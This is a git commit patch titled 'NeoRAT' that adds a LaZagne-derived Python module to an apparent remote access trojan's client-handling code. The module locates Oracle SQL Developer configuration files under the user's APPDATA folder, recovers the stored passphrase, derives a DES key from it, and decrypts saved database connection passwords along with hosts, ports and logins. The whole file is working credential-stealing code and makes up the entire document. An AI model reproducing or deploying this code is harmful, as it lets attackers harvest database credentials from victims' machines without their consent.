From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/databases/sqldeveloper.py | 106 +++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py (limited to 'foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py') diff --git a/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py new file mode 100644 index 0000000..c8e7e36 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py @@ -0,0 +1,106 @@ +# -*- coding: utf-8 -*- +import array +import base64 +import binascii +import hashlib +import os +import re +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class SQLDeveloper(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'sqldeveloper', 'databases') + + self._salt = self.get_salt() + self._passphrase = None + self._iteration = 42 + + def get_salt(self): + salt_array = [5, 19, -103, 66, -109, 114, -24, -83] + salt = array.array('b', salt_array) + hexsalt = binascii.hexlify(salt) + return binascii.unhexlify(hexsalt) + + def get_derived_key(self, password, salt, count): + key = bytearray(password) + salt + for i in range(count): + m = hashlib.md5(key) + key = m.digest() + return key[:8], key[8:] + + def decrypt(self, msg): + enc_text = base64.b64decode(msg) + (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) + crypter = des(dk, CBC, iv) + text = crypter.decrypt(enc_text) + return re.sub(r'[\x01-\x08]', '', text) + + def get_passphrase(self, path): + xml_name = u'product-preferences.xml' + xml_file = None + + if os.path.exists(os.path.join(path, xml_name)): + xml_file = os.path.join(path, xml_name) + else: + for p in os.listdir(path): + if p.startswith('system'): + new_directory = os.path.join(path, p) + + for pp in os.listdir(new_directory): + if pp.startswith(u'o.sqldeveloper'): + if os.path.exists(os.path.join(new_directory, pp, xml_name)): + xml_file = os.path.join(new_directory, pp, xml_name) + break + if xml_file: + tree = ElementTree(file=xml_file) + for elem in tree.iter(): + if 'n' in elem.attrib.keys(): + if elem.attrib['n'] == 'db.system.id': + return elem.attrib['v'] + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'SQL Developer') + if os.path.exists(path): + self._passphrase = self.get_passphrase(path) + if self._passphrase: + self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase)) + xml_name = u'connections.xml' + xml_file = None + + if os.path.exists(os.path.join(path, xml_name)): + xml_file = os.path.join(path, xml_name) + else: + for p in os.listdir(path): + if p.startswith('system'): + new_directory = os.path.join(path, p) + + for pp in os.listdir(new_directory): + if pp.startswith(u'o.jdeveloper.db.connection'): + if os.path.exists(os.path.join(new_directory, pp, xml_name)): + xml_file = os.path.join(new_directory, pp, xml_name) + break + + if xml_file: + renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login', + 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL', + 'SavePassword': 'SavePassword', 'driver': 'Driver'} + tree = ElementTree(file=xml_file) + + pwd_found = [] + for e in tree.findall('Reference'): + values = {} + for ee in e.findall('RefAddresses/StringRefAddr'): + if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None: + name = renamed_value[ee.attrib['addrType']] + value = ee.find('Contents').text if name != 'Password' else self.decrypt( + ee.find('Contents').text) + values[name] = value + + pwd_found.append(values) + + return pwd_found -- cgit v1.2.3